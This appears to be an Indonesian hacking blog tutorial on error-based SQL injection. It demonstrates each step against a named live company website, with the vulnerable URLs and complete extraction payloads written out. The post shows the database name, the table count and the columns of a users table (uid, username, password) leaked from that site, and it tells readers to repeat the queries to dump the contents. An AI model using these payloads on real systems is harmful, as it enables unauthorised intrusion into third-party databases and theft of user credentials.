www.draxploit.web.id
-
Hai sobat.
Saya ikal,
Disini saya akan membahas sesuatu menarik nih.
-
Sesuai judul kita kali ini, kita akan membahas sebuah metode yang berbeda dari metode injection SQL lainnya yaitu error based metode.
Duplicate entry '*****' for key 'group_key'
Nah, itu sedikit ciri tampilan SQL Injection error based. Dan mungkin artikel ini lumayan bermanfaat untuk menambah skill injector mu untuk menyelesaikan setiap stage di sql-labs atau ditempat tempat lain.
Let's try!
Disini saya sudah mempunyai live target. Yaitu daikin.com.hk dan seperti biasa kita harus mendapatkan inject point terlebih dahulu.
- Menentukan Inject Point
Untuk cara mendapatkan/menentukan inject point, ada dua cara, yaitu dengan mendorking, atau mencoba mengakses setiap page yang muncul diindex. Anggap saja saya sudah mendapatkan Inject Point nya dan kita lanjut ketahap kedua.
- Menentukan vuln/tidak
Jika sudah mendapatkan Inject Pointnya, kita perlu mentriger error SQL untuk mengetahuinya bahwa itu error disebabkan vuln/tidak. Ada beberapa cara mentrigger SQL ini, diantaranya single quote ('),double quote ("),titik koma (;),dan lainnya.
https://www.daikin.com.hk/product.php?categoryId=1'
Jika target sudah dapat dipastikan vuln terhadap injeksi SQL, kita lanjut ketahap selanjutnya.
- Menentukan balancing
Jika target sudah error. Sekarang kita kembalikan seperti semula menggunakan beberapa balancing. Beberapa balancing yang saya tahu adalah comment (-- -),(#),dan lainnya. Jika kita sudah berhasil menetralkan atau menghilangkan error yang ada, Kita lanjut lagi ketahap berikutnya.
https://www.daikin.com.hk/product.php?categoryId=1' -- - -> error
https://www.daikin.com.hk/product.php?categoryId=1' # -> error
https://www.daikin.com.hk/product.php?categoryId=1' ;%00 -> error
https://www.daikin.com.hk/product.php?categoryId=1 -- - -> normal
- Mengetahui nama database
Karena ini error based, jadi agak sedikit berbeda dengan injeksi SQL lainnya. Disini kita perlu mengetahui nama database lalu mengingatnya untuk melanjutkan ketahap berikutnya.
Payload untuk mengetahui nama database
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Salin dan taruh dibagian sebelum balancing. Seperti ini
Result |
Diatas sana kita mendapatkan kata ini.
Duplicate entry '~'daikin-www'~1' for key 'group_key'
Lalu nama database dari target kita yang mana?, yang terdapat ditengah. Penjelasan mengenai Payload diatas kalian bisa kunjungi @littelade . okeh sekarang kita lanjut untuk mempersulit hidup :D.
- Mengetahui satu/satu table name
Sebelum kalian mengakses untuk mengetahui satu persatu nama tabel yang ada, sebaiknya kalian cek seberapa banyak tabel yang terdapat pada server target tersebut.
Payload untuk mengetahui berapa banyak tabel yang ada.
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,count(table_name),0x27,0x7e)) from information_schema.tables where table_schema=NAMA_DATABASE limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Sebelum kalian taruh keurl target, kalian harus menyalin nama database lalu encode menjadi HEX,dan taruh dibagian yang saya BOLD diatas. Jika sudah, salin semua payload beserta DATABASE yang sudah diencode tadi dan hapus payload sebelumnya lalu ganti dengan payload yang diatas.
Result |
Diatas sana kita mendapatkan.
Duplicate entry '~'58'~1' for key 'group_key'
Jumlah tabel ditarget saya ada 58 :D. Disini kita akan mencoba mengetahui setiap nama dari tabel tersebut. Disini saya mencoba menargetkan tabel users yah.
Payload
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=NAMA_DATABASE limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Ganti bagian yang saya bold dengan nama database target kalian yang sudah diencode menjadi HEX.
Disini kita hanya perlu memainkan limit yang ada. Misal limit 0,1 limit 1,1 limit 2,1 dan seterusnya.
area
banner
bannerImage
course
users
itu saya skip, dikarenakan kalau dilanjutkan dari 0 sampai 49 akan terlalu banyak memakan baris kata :D. Tabel yang dituju sudah tau, sekarang kita akan membuka isi dalam tabel tersebut alias kita akan mencoba melihat nama nama column yang ada di tabel tersebut.
- Mengetahui satu/satu column name dari tabel yang dituju.
Sebelum melihat nama column dari tabel users, sebaiknya kita cek dulu jumlah column yang ada di tabel users.
Payload untuk mengetahui jumlah column
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,count(column_name),0x27,0x7e)) from information_schema.columns where table_name=NAMA_TABEL limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Ganti bagian yang saya bold dengan nama tabel yang sudah diencode menjadi HEX.
Dan yang kita dapat diatas adalah
Duplicate entry '~'6'~1' for key 'group_key'
Jumlah column pada tabel users ada 6. Huft Tidak seperti tadi yang berjumlah 50+ :D. Mari mempersulit hidup lagi.
Disini saya hanya ingin mengetahui isi dari column uid, dari tabel users.
Payload untuk mengetahui nama column
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_name=NAMA_TABEL limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Ubah bagian yang di bold dengan nama tabel yang sudah diencode menjadi HEX. Lalu salin dan hapus payload sebelumnya dan tempelkan payload diatas.
Seperti saat bagian mengetahui nama tabel, disini kita akan memainkan limit juga :D.
uid
username
password
dan kita mendapatkan column uid. Sekarang kita tinggal melihat isi dari column uid.
- Mengetahui isi column
Karena kita sudah mengetahui nama columnnya, sekarang mari kita lihat isi dari column tersebut.
Payload untuk melihat isi column
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(NAMA_COLUMN as char),0x27,0x7e)) from NAMA_TABEL limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Bagian NAMA_COLUMN yang ingin dibuka isinya, dan bagian NAMA_TABEL ganti dengan nama tabel dari column yang ingin dibuka.
Dan kita mendapatkan
Duplicate entry '~'1'~1' for key 'group_key'
Mainkan limit untuk melihat isi dari column yang lainnya, seperti limit 0,1 limit 0,2 limit 0,3 .
Nah mungkin segini aja artikel kali ini. Bila ada yang kurang atau salah kata biarkan saja.
Thanks.
See u